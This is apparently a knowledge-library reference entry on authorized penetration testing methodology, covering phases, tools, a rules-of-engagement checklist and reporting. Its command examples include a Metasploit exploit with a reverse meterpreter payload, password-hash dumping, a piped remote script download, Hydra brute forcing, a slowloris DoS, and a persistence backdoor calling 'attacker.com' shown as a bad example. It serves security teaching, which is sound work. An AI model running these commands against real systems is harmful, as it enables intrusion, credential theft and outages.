--- # === IDENTITY === id: software/security/penetration-testing-methodology/2026 canonical_question: "What is the penetration testing methodology?" aliases: - "pentest methodology phases" - "penetration testing steps and tools" - "how to perform a penetration test" - "PTES methodology overview" - "OWASP testing guide methodology" - "ethical hacking methodology" - "Nmap Burp Suite Metasploit pentest workflow" - "authorized security testing process" entity_type: software_reference domain: software > security > Penetration Testing Methodology region: global jurisdiction: global temporal_scope: 2024-2026 # === VERIFICATION === last_verified: 2026-02-27 confidence: 0.93 version: 1.0 first_published: 2026-02-27 # === TEMPORAL VALIDITY === temporal_validity: status: stable last_breaking_change: "PTES v1.1 documentation refresh (2024); OWASP WSTG v4.2 release (2024); Metasploit 6.x with EDR bypass modules (2025)" next_review: 2026-08-26 change_sensitivity: low # === CONSTRAINTS === constraints: - "NEVER perform penetration testing without explicit written authorization (Rules of Engagement) from the system owner" - "All testing MUST stay within the defined scope -- attacking out-of-scope systems is unauthorized access" - "Credential harvesting, data exfiltration, and persistent backdoors require explicit pre-approval in the ROE" - "Production systems require extra caution -- destructive exploits (DoS, data corruption) need client sign-off" - "All findings MUST be reported, including accidental access to sensitive data (PII, credentials)" - "Comply with applicable laws: CFAA (US), Computer Misuse Act (UK), StGB 202a-c (DE) -- authorization does not override legal restrictions" # === SKIP CONDITIONS === skip_this_unit_if: - condition: "Need to prevent a specific vulnerability (XSS, SQLi, CSRF) rather than test for it" use_instead: "software/security/xss-prevention/2026, software/security/sql-injection-prevention/2026, software/security/csrf-prevention/2026" - condition: "Need a vulnerability scanning guide without exploitation" use_instead: "software/security/dependency-vulnerability-scanning/2026" - condition: "Need to build a secure CI/CD pipeline, not test existing infrastructure" use_instead: "software/security/secure-cicd-pipeline/2026" # === AGENT HINTS === inputs_needed: - key: "target_type" question: "What type of system are you testing?" type: choice options: ["Web application", "Network/infrastructure", "Mobile app", "API", "Cloud environment", "Wireless"] - key: "test_type" question: "What type of penetration test is this?" type: choice options: ["Black box (no prior knowledge)", "Grey box (partial knowledge)", "White box (full access/source code)"] - key: "phase" question: "Which phase of the pentest are you in?" type: choice options: ["Planning/scoping", "Reconnaissance", "Scanning/enumeration", "Exploitation", "Post-exploitation", "Reporting"] # === DISTRIBUTION === canonical_source: "https://knowledgelib.io/software/security/penetration-testing-methodology/2026" suggested_citation: "Source: knowledgelib.io -- AI Knowledge Library (verified 2026-02-27)" # === RELATED UNITS === related_kos: depends_on: [] related_to: - id: "software/security/owasp-top-10/2026" label: "OWASP Top 10 Checklist" - id: "software/security/api-security-checklist/2026" label: "API Security Checklist" - id: "software/security/http-security-headers/2026" label: "HTTP Security Headers" solves: [] alternative_to: [] often_confused_with: - id: "software/security/dependency-vulnerability-scanning/2026" label: "Dependency Vulnerability Scanning (automated scanning, not manual pentest)" - id: "software/security/container-security/2026" label: "Container Security Checklist (hardening, not offensive testing)" # === SOURCES (7 authoritative sources) === # Types: official_docs, technical_blog, rfc_spec, academic_paper, community_resource, industry_report # Reliability: high, moderate_high, moderate, moderate_low, low, authoritative sources: - id: src1 title: "OWASP Web Security Testing Guide v4.2 - Penetration Testing Methodologies" author: OWASP Foundation url: https://owasp.org/www-project-web-security-testing-guide/v41/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies type: community_resource published: 2024-06-01 reliability: authoritative - id: src2 title: "Penetration Testing Execution Standard (PTES)" author: PTES Team url: http://www.pentest-standard.org/index.php/Main_Page type: community_resource published: 2024-01-01 reliability: authoritative - id: src3 title: "NIST SP 800-115: Technical Guide to Information Security Testing and Assessment" author: National Institute of Standards and Technology url: https://csrc.nist.gov/pubs/sp/800/115/final type: official_docs published: 2008-09-30 reliability: authoritative - id: src4 title: "OSSTMM 3 - The Open Source Security Testing Methodology Manual" author: ISECOM url: https://www.isecom.org/OSSTMM.3.pdf type: community_resource published: 2010-12-14 reliability: high - id: src5 title: "Metasploit Unleashed - Free Ethical Hacking Course" author: Offensive Security url: https://www.offsec.com/metasploit-unleashed/msfconsole-commands/ type: official_docs published: 2025-01-01 reliability: high - id: src6 title: "Nmap Reference Guide" author: Gordon Lyon (Fyodor) url: https://nmap.org/book/man.html type: official_docs published: 2025-01-01 reliability: authoritative - id: src7 title: "MITRE ATT&CK Framework" author: MITRE Corporation url: https://attack.mitre.org/ type: official_docs published: 2025-04-01 reliability: authoritative --- # Penetration Testing Methodology: Phases, Tools, and Reporting Guide ## TL;DR - **Bottom line**: A structured penetration test follows five core phases -- reconnaissance, scanning, exploitation, post-exploitation, and reporting -- each using specialized tools and requiring explicit written authorization before any testing begins. - **Key tool/command**: `nmap -sC -sV -O -T4 target` for initial reconnaissance; `msfconsole` for exploitation; Burp Suite for web app testing. - **Watch out for**: Testing without written authorization (Rules of Engagement) is illegal regardless of intent -- always get sign-off before scanning a single port. - **Works with**: PTES, OWASP WSTG v4.2, NIST SP 800-115, OSSTMM 3, MITRE ATT&CK. Tools: Nmap 7.x, Metasploit 6.x, Burp Suite 2024.x+, Kali Linux 2024+. ## Constraints - NEVER perform penetration testing without explicit written authorization (Rules of Engagement) from the system owner - All testing MUST stay within the defined scope -- attacking out-of-scope systems is unauthorized access - Credential harvesting, data exfiltration, and persistent backdoors require explicit pre-approval in the ROE - Production systems require extra caution -- destructive exploits (DoS, data corruption) need client sign-off - All findings MUST be reported, including accidental access to sensitive data (PII, credentials) - Comply with applicable laws: CFAA (US), Computer Misuse Act (UK), StGB 202a-c (DE) -- authorization does not override legal restrictions ## Quick Reference **Penetration Testing Phases and Tools:** | # | Phase | Objective | Key Tools | MITRE ATT&CK Tactic | Deliverable | |---|---|---|---|---|---| | 1 | Pre-engagement | Define scope, ROE, timeline, emergency contacts | Contract templates, PTES pre-engagement checklist | -- | Signed ROE document | | 2 | Reconnaissance (OSINT) | Gather publicly available intel on target | Nmap, Shodan, theHarvester, Recon-ng, Google Dorks, WHOIS | Reconnaissance (TA0043) | Target profile document | | 3 | Scanning & Enumeration | Identify live hosts, open ports, services, vulnerabilities | Nmap, Nessus, Nikto, Gobuster, enum4linux, SSLScan | Discovery (TA0007) | Port/service/vulnerability list | | 4 | Vulnerability Analysis | Analyze scan results, prioritize exploitable vulns | Burp Suite, OWASP ZAP, Nuclei, searchsploit | -- | Prioritized vulnerability matrix | | 5 | Exploitation | Validate vulnerabilities by gaining access | Metasploit, Burp Suite Pro, SQLMap, Hydra, John the Ripper | Initial Access (TA0001), Execution (TA0002) | Proof of exploitation (screenshots, shells) | | 6 | Post-Exploitation | Assess impact: pivot, escalate privileges, exfil data | Meterpreter, BloodHound, Mimikatz, LinPEAS, WinPEAS | Privilege Escalation (TA0004), Lateral Movement (TA0008) | Impact assessment | | 7 | Reporting | Document findings, risk ratings, remediation | Custom templates, Dradis, PlexTrac, Serpico | -- | Executive + technical report | | 8 | Remediation Verification | Retest after fixes are applied | Same tools as exploitation phase | -- | Retest report | **Testing Types:** | Test Type | Knowledge Level | Simulates | Best For | |---|---|---|---| | Black Box | No prior knowledge of target | External attacker | Realistic threat simulation | | Grey Box | Partial knowledge (credentials, architecture docs) | Insider threat or compromised account | Efficient coverage of attack surface | | White Box | Full access (source code, network diagrams, admin creds) | Comprehensive audit | Maximum vulnerability discovery | **Major Frameworks Comparison:** | Framework | Focus | Phases | Strengths | Limitation | |---|---|---|---|---| | PTES | General pentest | 7 (pre-engagement to reporting) | Most comprehensive, widely adopted | Not updated frequently | | OWASP WSTG | Web application | 12 testing categories | Deep web-specific guidance | Web-only scope | | NIST SP 800-115 | Government/compliance | 4 (planning, discovery, attack, reporting) | Compliance-aligned, risk-based | Less tactical detail | | OSSTMM 3 | Operational security | 6 channels (human, physical, wireless, telecom, data networks, compliance) | Metrics-driven (rav score) | Complex, less community support | | MITRE ATT&CK | Adversary emulation | 14 tactics, 200+ techniques | Maps to real-world TTPs | Framework, not step-by-step methodology | ## Decision Tree ``` START: What type of penetration test do you need? |-- Web application? | |-- YES --> Follow OWASP WSTG v4.2 testing categories | | Tools: Burp Suite, OWASP ZAP, Nikto, SQLMap, Gobuster | +-- NO | |-- Network/infrastructure? | |-- YES --> Follow PTES methodology + NIST SP 800-115 | | Tools: Nmap, Nessus, Metasploit, Responder, CrackMapExec | +-- NO | |-- API testing? | |-- YES --> OWASP API Security Top 10 + WSTG API sections | | Tools: Burp Suite, Postman, Nuclei, ffuf | +-- NO | |-- Cloud environment? | |-- YES --> PTES + cloud-specific tools | | Tools: ScoutSuite, Prowler (AWS), az-cli (Azure), CloudSploit | +-- NO | |-- Wireless? | |-- YES --> OSSTMM wireless channel + PTES | | Tools: Aircrack-ng, Kismet, Wireshark, Wifite | +-- NO | +-- DEFAULT --> PTES general methodology + MITRE ATT&CK mapping ``` ## Step-by-Step Guide ### 1. Define scope and rules of engagement Establish the legal and operational boundaries of the test. Document target systems, IP ranges, testing windows, emergency contacts, and explicitly forbidden actions. [src2] ```text # Rules of Engagement (ROE) checklist: - [ ] Target IP ranges / domains / URLs (in-scope) - [ ] Explicitly out-of-scope systems - [ ] Testing window (dates, hours, timezone) - [ ] Test type: black box / grey box / white box - [ ] Allowed actions: scanning, exploitation, social engineering, DoS - [ ] Data handling: what to do with discovered PII/credentials - [ ] Emergency contacts (client POC, escalation path) - [ ] Communication channels and frequency - [ ] Signed authorization letter (legal protection) ``` **Verify**: Both parties have signed the ROE document. Keep a copy accessible during the entire engagement. ### 2. Perform passive reconnaissance (OSINT) Gather publicly available information without directly interacting with the target. This reduces the chance of detection and builds the target profile. [src1] ```bash # DNS enumeration dig +short target.com ANY dig +short -x 93.184.216.34 # WHOIS lookup whois target.com # Subdomain enumeration with theHarvester theHarvester -d target.com -b google,bing,linkedin -l 500 # Search for exposed services on Shodan shodan search hostname:target.com # Google dorking for sensitive files # site:target.com filetype:pdf OR filetype:xlsx OR filetype:sql # site:target.com inurl:admin OR inurl:login OR inurl:wp-admin ``` **Verify**: Target profile document contains: IP ranges, subdomains, employee names/emails, technology stack, and exposed services. ### 3. Perform active scanning and enumeration Directly probe the target to identify live hosts, open ports, running services, and their versions. Map the attack surface. [src6] ```bash # Host discovery (ping sweep) nmap -sn 192.168.1.0/24 -oG hosts-up.txt # Full port scan with service detection and OS fingerprinting nmap -sC -sV -O -p- -T4 --open -oA full-scan target.com # Top 1000 ports quick scan (initial triage) nmap -sC -sV -T4 --top-ports 1000 -oN quick-scan.txt target.com # UDP scan (top 100 ports -- UDP scanning is slow) nmap -sU --top-ports 100 -T4 -oN udp-scan.txt target.com # Web directory brute-force gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt # SSL/TLS analysis sslscan target.com:443 # Vulnerability scan with Nmap NSE scripts nmap --script vuln -p 80,443,8080 target.com ``` **Verify**: `cat full-scan.txt` shows open ports, service versions, and OS detection results. Cross-reference with Shodan results from step 2. ### 4. Analyze vulnerabilities and prioritize targets Review scan results, research identified services for known CVEs, and build an exploitation plan prioritized by impact and likelihood. [src1] ```bash # Search for known exploits matching discovered services searchsploit apache 2.4 searchsploit openssh 8. searchsploit wordpress 6. # Check Nmap scan for potential vulnerabilities grep -i "vuln\|CVE\|CRITICAL" full-scan.nmap # Burp Suite: import target URL, run active scan on discovered endpoints # Configure scope: Target > Scope > Add target.com # Run: Scanner > Scan > New Scan > target.com ``` **Verify**: Vulnerability matrix created with columns: Vulnerability, CVE (if applicable), CVSS Score, Affected Host/Port, Exploitation Feasibility, Business Impact. ### 5. Exploit validated vulnerabilities Attempt to exploit confirmed vulnerabilities to prove impact. Document every step with timestamps and screenshots. [src5] ```bash # Metasploit: search and use an exploit msfconsole -q msf6> search type:exploit name:apache msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec msf6> show options msf6> set RHOSTS target.com msf6> set RPORT 443 msf6> set LHOST attacker-ip msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp msf6> exploit # SQL injection with SQLMap (only on in-scope targets) sqlmap -u "https://target.com/search?q=test" --batch --risk=2 --level=3 # Password attack with Hydra (only with ROE approval) hydra -L users.txt -P passwords.txt target.com ssh -t 4 ``` **Verify**: Successful exploitation produces a shell, extracted data, or modified state. Capture screenshots and terminal output for each exploit. ### 6. Perform post-exploitation assessment After gaining initial access, assess the real-world impact: escalate privileges, move laterally, and determine what sensitive data is reachable. [src2] ```bash # Meterpreter post-exploitation (if Metasploit shell obtained) meterpreter> sysinfo meterpreter> getuid meterpreter> getsystem # attempt privilege escalation meterpreter> hashdump # dump password hashes (with approval) meterpreter> run post/multi/recon/local_exploit_suggester # Linux privilege escalation enumeration curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # Windows privilege escalation enumeration # Upload and run winPEAS.exe on target # Active Directory enumeration with BloodHound bloodhound-python -u user -p pass -d domain.local -c All # Import JSON output into BloodHound GUI for attack path visualization ``` **Verify**: Document the maximum access achieved (user-level, root/admin, domain admin) and what data was accessible. Record the full attack chain. ### 7. Write the penetration test report Structure the report for two audiences: executives (risk/business impact) and technical teams (reproduction steps, remediation). [src3] ```text # Penetration Test Report Structure: 1. EXECUTIVE SUMMARY (1-2 pages) - Engagement overview (scope, dates, test type) - Overall risk rating (Critical/High/Medium/Low) - Key findings summary (top 3-5 critical/high) - Strategic recommendations 2. METHODOLOGY - Framework used (PTES, OWASP WSTG, NIST 800-115) - Tools and techniques employed - Testing limitations and caveats 3. FINDINGS (per vulnerability) - Title and severity (CVSS 3.1 score) - Affected systems/endpoints - Description of the vulnerability - Proof of concept (screenshots, commands, output) - Business impact assessment - Remediation recommendation (specific, actionable) - MITRE ATT&CK technique mapping - References (CVE, CWE, vendor advisory) 4. REMEDIATION PRIORITY MATRIX - Ranked by: severity x exploitability x business impact - Quick wins vs. long-term fixes 5. APPENDICES - Full scan output - Complete list of discovered hosts/services - Tools and versions used - Tester credentials and methodology details ``` **Verify**: Report includes: executive summary, all findings with CVSS scores and PoC evidence, remediation steps, and a prioritized action plan. ## Code Examples ### Bash: Automated Reconnaissance Script ```bash #!/bin/bash # Input: target domain and output directory # Output: reconnaissance files (subdomains, ports, services) TARGET=$1 OUTDIR="${2:-./recon-$TARGET}" mkdir -p "$OUTDIR" echo "[*] Starting recon for $TARGET" # Subdomain enumeration echo "[+] Enumerating subdomains..." subfinder -d "$TARGET" -silent -o "$OUTDIR/subdomains.txt" # Resolve live hosts echo "[+] Resolving live hosts..." cat "$OUTDIR/subdomains.txt" | httpx -silent -o "$OUTDIR/live-hosts.txt" # Port scan live hosts echo "[+] Scanning ports on live hosts..." nmap -sC -sV -T4 --open -iL "$OUTDIR/live-hosts.txt" \ -oA "$OUTDIR/nmap-scan" 2>/dev/null ``` ### Python: Nmap Scan Parser ```python # Input: Nmap XML output file # Output: structured dict of hosts, ports, services import xml.etree.ElementTree as ET # stdlib def parse_nmap_xml(xml_file: str) -> list[dict]: """Parse Nmap XML output into structured host data.""" tree = ET.parse(xml_file) root = tree.getroot() hosts = [] for host in root.findall("host"): addr = host.find("address").get("addr", "") ports = [] for port in host.findall(".//port"): service = port.find("service") ports.append({ "port": int(port.get("portid", 0)), "protocol": port.get("protocol", "tcp"), "state": port.find("state").get("state", ""), "service": service.get("name", "") if service is not None else "", "version": service.get("version", "") if service is not None else "", }) hosts.append({"ip": addr, "ports": ports}) return hosts # Usage: hosts = parse_nmap_xml("full-scan.xml") ``` ### Python: Metasploit RPC Automation ```python # Input: target IP and exploit module path # Output: session ID if exploitation succeeds import requests # ^2.31.0 class MetasploitRPC: """Minimal Metasploit RPC client for automated exploitation.""" def __init__(self, host="127.0.0.1", port=55553, password="msf"): self.url = f"http://{host}:{port}/api/" self.token = self._login(password) def _login(self, password: str) -> str: resp = requests.post(self.url, json=["auth.login", password]) return resp.json()["token"] def run_exploit(self, module: str, options: dict) -> dict: return requests.post(self.url, json=[ "module.execute", self.token, "exploit", module, options ]).json() # Usage (authorized testing only): # msf = MetasploitRPC(password="your-rpc-password") # result = msf.run_exploit("exploit/unix/ftp/vsftpd_234_backdoor", { # "RHOSTS": "192.168.1.100", "RPORT": "21" # }) ``` ## Anti-Patterns ### Wrong: Scanning without authorization ```bash # BAD -- scanning without written authorization is illegal nmap -sV -p- production-server.company.com # Even "just scanning" without permission violates CFAA, CMA, etc. ``` ### Correct: Verified scope before any scanning ```bash # GOOD -- verify target is in scope before scanning echo "[*] Confirming target 192.168.1.0/24 is in ROE scope..." grep -q "192.168.1.0/24" roe-scope.txt && \ nmap -sC -sV -T4 192.168.1.0/24 -oA in-scope-scan || \ echo "ERROR: Target not in scope. Aborting." ``` ### Wrong: Using destructive exploits without approval ```bash # BAD -- DoS and destructive exploits without explicit approval msf6> use auxiliary/dos/http/slowloris msf6> set RHOSTS production.target.com msf6> run # This can crash production systems and cause business disruption ``` ### Correct: Non-destructive validation with documentation ```bash # GOOD -- validate vulnerability exists without causing damage # Use safe check command in Metasploit before exploiting msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> set RHOSTS 192.168.1.100 msf6> check # [*] 192.168.1.100:445 - The target is vulnerable. # Document the "check" output as proof -- only exploit with approval ``` ### Wrong: Skipping post-exploitation cleanup ```bash # BAD -- leaving backdoors, test accounts, or artifacts on target meterpreter> run persistence -X -i 10 -p 4444 -r attacker.com # Persistent backdoors left on client systems create real security risk ``` ### Correct: Clean up all artifacts after testing ```bash # GOOD -- remove all testing artifacts and document cleanup meterpreter> run multi_console_command -r cleanup.rc # Cleanup checklist: # - Remove uploaded tools (linpeas.sh, winpeas.exe, nc.exe) # - Delete created user accounts # - Remove cron jobs / scheduled tasks # - Close reverse shells and tunnels # - Document all artifacts and their removal status ``` ## Common Pitfalls - **Incomplete scope definition**: Vague scope leads to testing systems you do not have permission for. Fix: Enumerate every in-scope IP, domain, and URL in the ROE before starting. [src2] - **Relying solely on automated scanners**: Automated tools miss business logic flaws, chained vulnerabilities, and context-dependent issues. Fix: Always supplement automated scanning with manual testing and creative exploitation. [src1] - **Not testing UDP ports**: Many testers skip UDP scanning because it is slow. Fix: Scan at least top 100 UDP ports (`nmap -sU --top-ports 100`) -- SNMP (161), DNS (53), TFTP (69) are common attack vectors. [src6] - **Reporting vulnerabilities without proof of exploitation**: Listing CVEs from a scanner without validation produces false positives. Fix: Validate every finding with a proof-of-concept exploit or configuration evidence. [src3] - **Ignoring the human element**: Many breaches start with social engineering, not technical exploits. Fix: Include phishing simulation and physical access testing in scope (with ROE approval). [src4] - **Forgetting to test authenticated attack surface**: Unauthenticated scanning misses privilege escalation and IDOR vulnerabilities. Fix: Request test credentials for grey/white box tests and scan all authenticated endpoints. [src1] - **Not mapping findings to business impact**: Technical CVSS scores alone do not communicate risk to executives. Fix: Translate every finding to business impact (data breach cost, regulatory fine, reputation damage). [src3] - **Running scans during business hours without coordination**: Aggressive scanning can trigger IDS/IPS alerts, cause latency, or crash services. Fix: Coordinate scanning windows with the client and start with low-intensity scans (-T2). [src2] ## Diagnostic Commands ```bash # Verify Nmap is installed and check version nmap --version # Verify Metasploit is installed and check version msfconsole --version # Check if target host is reachable ping -c 3 target.com # Verify you can reach target ports (before full scan) nmap -Pn -p 80,443 target.com # Check your external IP (for reverse shell LHOST config) curl -s ifconfig.me # Verify Burp Suite proxy is running curl -x http://127.0.0.1:8080 -k https://target.com # Test Metasploit database connectivity msfconsole -q -x "db_status; exit" # Verify wordlists are available (Kali Linux) ls -la /usr/share/wordlists/ # Check if required tools are installed which nmap metasploit-framework burpsuite nikto gobuster sqlmap hydra 2>/dev/null ``` ## Version History & Compatibility | Framework/Tool | Version | Status | Key Updates | |---|---|---|---| | PTES | v1.1 | Current | Refreshed technical guidelines (2024) | | OWASP WSTG | v4.2 | Current | Updated testing categories for modern web apps | | NIST SP 800-115 | Rev 1 | Current | Updated May 2021 -- still the federal standard | | OSSTMM | 3.02 | Current | Last major update Dec 2010 -- community-maintained | | MITRE ATT&CK | v16 | Current | Quarterly updates with new techniques/sub-techniques | | Nmap | 7.95 | Current | New NSE scripts, improved OS detection | | Metasploit | 6.4 | Current | EDR bypass modules, improved Linux privesc | | Burp Suite | 2024.x | Current | AI-driven scanning hints, smart fuzzing | | Kali Linux | 2024.4 | Current | Updated tool repositories | ## When to Use / When Not to Use | Use When | Don't Use When | Use Instead | |---|---|---| | Validating security controls with simulated attacks | Only need to check for known CVEs in dependencies | Automated vulnerability scanning (Nessus, Trivy) | | Compliance requires pentest (PCI DSS, SOC 2, ISO 27001) | Building security into new code during development | Secure SDLC (SAST/DAST in CI/CD pipeline) | | Assessing real-world exploitability of vulnerabilities | Need continuous security monitoring | SIEM + EDR solution | | Testing incident response readiness (red team exercise) | Target system is in active development with no stable release | Wait for stable release; use code review instead | | Evaluating security after major infrastructure changes | Need to train developers on secure coding | Security training programs + code review | ## Important Caveats - Penetration testing is a point-in-time assessment -- it does not guarantee ongoing security. New vulnerabilities are discovered daily - Black box testing may miss vulnerabilities that grey/white box testing would find -- the test type should match the threat model - Automated exploitation tools (Metasploit, SQLMap) can cause unintended damage on fragile systems -- always use the `check` command before `exploit` - Social engineering tests (phishing, vishing) require separate authorization and may have HR/legal implications - Cloud environments (AWS, Azure, GCP) have their own penetration testing policies -- review and comply with provider rules before testing - Results depend heavily on tester skill level -- the same scope tested by a junior vs. senior pentester may yield very different findings - Zero-day vulnerabilities are generally not in scope for standard pentests -- they require specialized research or red team engagements ## Related Units - [OWASP Top 10 Checklist](/software/security/owasp-top-10/2026) - [API Security Checklist](/software/security/api-security-checklist/2026) - [HTTP Security Headers](/software/security/http-security-headers/2026) - [Dependency Vulnerability Scanning](/software/security/dependency-vulnerability-scanning/2026) - [Container Security Checklist](/software/security/container-security/2026)